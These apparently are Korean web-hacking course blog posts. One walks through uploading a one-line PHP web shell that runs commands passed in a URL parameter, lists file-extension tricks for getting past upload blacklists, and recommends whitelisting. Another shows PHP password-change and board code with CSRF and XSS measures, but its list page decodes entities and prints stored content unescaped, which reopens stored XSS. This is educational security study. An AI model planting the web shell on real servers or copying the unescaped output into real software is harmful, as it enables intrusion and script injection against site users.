1. 웹 셸 작성 (shell.php)

<?php
echo system($_GET['cmd']);           
?>

 

2. 파일 업로드

 

3. 업로드 경로 조회

files/123/shell.php
웹 셸 동작 확인

 

4. find 명령어로 파일 찾기

 

5. cat 데이터 조회하기

파일 업로드 취약점

이름 그대로 파일을 업로드하여 공격을 하는 방법 이를 통해 웹 셸 DoS공격이 가능하다.

 

파일 업로드의 기능에 용량제한 및 개수 제한이 없는 경우 다량의 고용량 데이터를 업로드하여 해당 서버의 Disk를 점유하도록 공격하게 된다면 가용성에 대한 공격 즉 DoS공격이 될 수 있다.

 

해당공격을 통해 웹 셸을 실행 할 수 있다면 Server Side 공격이 될 것이고 Client Side 소스를 업로드하고 다른 사용자가 해당 파일을 실행하게 한다면 Client Side 공격이 될 수 있다.

 

 

Pishing

login.php 파일이 없는 서버에 /phising/login.php 파일을 업로드 한 뒤 로그인을 시키면 사용자는 앞 도메인을 보고 정상적인 사이트로 인식할 수 있다.

 

Deface 공격

서버에 index.php가 있는경우 index.php를 업로드하여 새로운 index.php를 실행하도록 하는 공격방법이다.

 

XSS공격

정상적인 index.php가 있다고 한다면 해당 index.php를 다운로드 받고 index.php에 추가적으로 악성스크립트를 삽입 후 재 재업로드하여 공격 할 수 있다. 

 


웹 셸

웹 셸(web shell)은 업로드 취약점을 통하여 시스템에 명령을 내릴 수 있는 코드를 말한다. web shell은 간단한 서버 스크립트 (jsp, php, asp...)로 만드는 방법이 널리 사용되며 이 스크립트들은 웹 서버의 취약점을 통해 업로드된다. 웹셸 설치 시 해커들은 보안 시스템을 피하여 별도의 인증 없이 시스템에 쉽게 접속 가능하다. - 위키백과-

 

즉 파일 업로드를 통해 해당 서버의 명령어를 입력 할 수 있는 공격 방법이다.

웹 셸을 동작 시켰다면 해당 권한은 해당 프로그램을 실행한 권한과 동일하다.

 

웹 셸은 서버의 구성에 따라 업로드할 파일이 다르다.

python을 사용하는 서버라면 .py의 코드를, java를 사용한다면 .jsp를, php라면 .php를 올리는 방식이 된다.

 

php웹셸 예시

<?php
echo system($_GET['cmd']);           
?>

 

웹셸에 id 커멘드를 입력한 결과

 

1. 웹 셸을 업로드 할 수 있어야한다.(php의 경우 확장자가 .php여야한다.)

2. 웹 셸은 업로드 한 파일을 WAS가 실행 시키기 때문에 경로를 알아야한다. 

 


대응 방안

파일의 업로드 시점에 확장자와 파일의 크기 등을 확인하여 막는다.

확장자가 php라면 막는 식의 블랙리스트의 경우 대응하기 쉽지 않다.

Ex)

- .php -> pHp, php3

- .asp -> .cer .cdx .asa
- .php -> .php3 .html .htm
- .jsp -> .war, jspx, jsv, jsw

등 동작 가능한 확장자 를 모두 기입해야한다.

 

특정 확장자만 업로드가 가능하도록 화이트리스트 방식을 채택하는 것이 보다 간편하고 강력하다.

Ex)

이미지 업로드의 경우 

png, jpg, jpeg, gif 만 업로드 가능하도록

'웹 해킹 코스 > 내용 정리' 카테고리의 다른 글

15주 File Upload, Download 취약점(LFI, RFI)  (0) 2024.02.15
13주차 Dos 공격 및 CSRF의 대처방법  (0) 2024.02.05
12주차 CSRF  (0) 2024.02.01
12주차 CSRF  (1) 2024.01.21
11차 HTML의 DOM 접근  (0) 2024.01.15

마이페이지 만들기

비밀번호변경 기능이 있는 마이페이지를 만들어보자

기본적인 틀은 회원가입의 틀을 가져와 사용한다.

 

CSRF 공격을 방지하기위해 비밀번호 변경 시 현재 비밀번호를 입력하도록 구성한다.


mypage.php

    <?php
      // 사용자 정보를 받아와 화면에 그린다.
      $user = getUserInfo();
       // post로 전달 받았다면 비밀번호 로직츨 처리한다.
        if ($_SERVER['REQUEST_METHOD'] == 'POST') {
          // 비밀번호 변경
          $is_currentPw = isset($_POST['currentPw']) && $_POST['currentPw'];
          $is_newPw = isset($_POST['newPw']) && $_POST['newPw'];
          $is_submit = isset($_POST['submit']);
          
		  // 현재 비밀번호를 입력 받아서 맞는지 확인.
          $checkPw = checkCurrentPw($_POST['currentPw']);
          
          // 현재 비밀번호를 입력받고, 새 비밀번호를 입력받고, 현재 비밀번호와 입력받은 현재 비밀번호가 같고
          // 새로 입력받은 비밀번호로 update가 성공한다면
          if ($is_currentPw && $is_newPw && $is_submit 
          && $checkPw  && updatePassword($_POST['newPw']) ) {
              // alert을 띄우고 현재 로그인 페이지로 이동
              echo "<script>alert('비밀번호 변경 완료.');
              location.href='/login.php'
              </script>";
          }
        } 
    ?>

 

// 입력 태그
<div class="container">
  <main>
    <div class="py-5 text-center">
      <img class="d-block mx-auto mb-4" src="../assets/images/normaltic_logo.png" alt="" width="72" height="57">
      <h2>마이 페이지</h2>
      <!-- <p class="lead">하기의 항목을 기입해주세요.</p> -->
    </div>

    <div class="row g-5">
      
      <div class="">
        <!-- <h4 class="mb-3">Billing address</h4> -->
        <form class="needs-validation" novalidate method="POST">
          <div class="row g-3">
            
            <div class="">
              <label for="아이디" class="form-label">아이디</label>
              <input readonly type="text" value=
              <?php
                echo '"'.$user['id'].'"';
                ?>
              class="form-control" name="id" >
              <div class="">
                
              </div>
            </div>
          
            <div class="">
              <label for="이름" class="form-label">이름</label>
              <input readonly type="text" value=
              <?php
                echo '"'.$user['name'].'"';
                ?>
              name="name" class="form-control" id="username" >
              <div class="">
              </div>
            </div>

            <div class="">
              <label for="현재 비밀번호" class="form-label">현재 비밀번호</label>
              <input type="password" name="currentPw" class="form-control" id="username" required>
              <?php
                if(isset($checkPw)) {
                    echo '비밀번호가 잘못되었습니다.';
                    echo "<br>";
                }
                ?>
              </div>
            </div>

            <div class="">
              <label for="변경할 비밀번호" class="form-label">변경할 비밀번호</label>
              <input type="password" name="newPw" class="form-control" id="username" required>
              <div class="">
              </div>
            </div>

            <input type=text vlaue="submit" style="display:none;" name="submit"/>

          <button class="w-100 btn btn-primary btn-lg" type="submit">비밀번호 변경</button>
        </form>
      </div>
    </div>
  </main>

 

mypage_function.php

<?php
ini_set('display_errors', 1);
require '/app/lib/db_connection.php';

function getDbConn() {
  if (!isset($db_conn)) {
    $db_conn = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
    $db_conn -> set_charset('utf8');
  }
  return $db_conn;
}

function getUserInfo() {
  $db_conn = getDbConn();
  $token = $_COOKIE['REFRESH_TOKEN'];
  $sql = 'SELECT USER_ID as id, USER_NM  as name FROM user
  where REFRESH_TOKEN = ?';
  $stmtSQL = $db_conn->prepare($sql);
  $stmtSQL->bind_param("s",$token);
  $stmtSQL->execute();
  $result = $stmtSQL->get_result(); 
  $user = mysqli_fetch_array($result);
  // var_dump($user);
  return $user;
}

function updatePassword($newPw) {
  $db_conn = getDbConn();
  $token = $_COOKIE['REFRESH_TOKEN'];
  $newPw = hash("sha256", $newPw);

  $sql = "update user set PW = ? where REFRESH_TOKEN = ?";
  $stmtSQL = $db_conn->prepare($sql);
  $stmtSQL->bind_param('ss', $newPw,$token);
  $result = $stmtSQL->execute();
 
  return $result;
}

// CSRF공격을 방지하기위해 현재 비밀번호를 입력받고 확인하는 절차를 추가한다.
function checkCurrentPw($currentPw) {
  $db_conn = getDbConn();
  $token = $_COOKIE['REFRESH_TOKEN'];
  $currentPw = hash("sha256", $currentPw);

  $sql = "SELECT count(USER_ID) as count FROM user where REFRESH_TOKEN = ? and PW = ?";

  $stmtSQL = $db_conn->prepare($sql);
  $stmtSQL->bind_param("ss",$token, $currentPw);
  $stmtSQL->execute();
  $result = $stmtSQL->get_result(); 
  $user = mysqli_fetch_array($result);
  return $user['count'];
}

?>

 

html_entities

html_entities는 php의 함수로 각종 태그들을 html Entity로 변환하는 함수이다. 이를 통해 XSS를 방지 할 수 있다.


 

writer.php(게시물 등록)

<?php
  $isetTitle = isset($_POST['title']) && strlen($_POST['title']) > 0;
  $issetContent = isset($_POST['content']) && strlen($_POST['content']) > 0;
  $isSubmit = isset($_POST['is_submit']) && strlen($_POST['is_submit']) > 0;
 
  if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    
    if ($isetTitle && $issetContent && $isSubmit) {

      // 저장하기
      $title = $_POST['title'];
      $content = $_POST['content'];
      echo "before:".$content.'<br>';
      // 게시물 등록 SQL로 데이터를 전달하기 전 
      // htmlentities함수를 사용하여 태그를 변환한다.
      $title = htmlentities($title);
      $content = htmlentities($content);
      // echo $title.'<br>';
      // echo "after:".$content.'<br>';
      $result = insert_tbl_board($title, $content);
      if($result) {
        echo "<script>alert('작성 완료.');
                location.href='/board/list.php'
                </script>";
                exit;
      }

    }
  }

?>

 

글쓰기에 script를 삽입 후 내용을 확인해보자

summernote의 태그는 &lt인데 내가 작성한 글은 lt;와 같은 방식으로 다르게 저장된다... 이유는 모르겠다...

아시는 분은 댓글 부탁드립니다.

script와 alert을 적용
변환된 태그들이 저장되었다.

 

조회 화면에서 decode를 하여 화면에 뿌리게되면.

list.php

<tbody>
          <?php
			// 입력받은 페이지
            $page = isset($_GET["page"])? $_GET["page"] : 1;
            // 입력받은 검색타입
            $searchType = isset($_GET["searchType"])? $_GET["searchType"] : '';
            //입력받은 검색키워드
            $searchValue = isset($_GET["searchValue"])? $_GET["searchValue"] : '';
            // 한 페이지당 보여줄 개수
            $itemPerPage = 10;
            
			// limit 0, 10은 0개를 패스하고 10개까지 보여준다.
            // 페이지가 2라면 10 개를 패스하고 10개를 보여줘야하기에 limit 10, 10이 되어야한다.
            $boardList = getBoardList(($page-1) * $itemPerPage, $itemPerPage, $searchType, $searchValue);

            while ($board =  mysqli_fetch_array($boardList)) 
            {
              $idx = $board['idx'];
              // htmlentitiy 디코드
              $title = html_entity_decode($board['title']);
              $content = html_entity_decode($board['content']);

              $regUser = $board['regUser'];
              $regTime = $board['regTime'];

              // var_dump($content);
              echo "<tr onclick='moveDetail({$idx})'>";
              echo "<th  class='idx' scope='row'>{$idx}</td>";
              echo "<td class='title' >{$title}</td>";
              echo "<td class='content'>{$content}</td>";
              echo "<td class='reg_user'>{$regUser}</td>";
              echo "<td class='reg_time'>{$regTime}</td>";
              echo "</tr>";
            }
            
          ?>

        </tbody>

스크립트가 삽입되어도 동작하지 않는다.....

+ Recent posts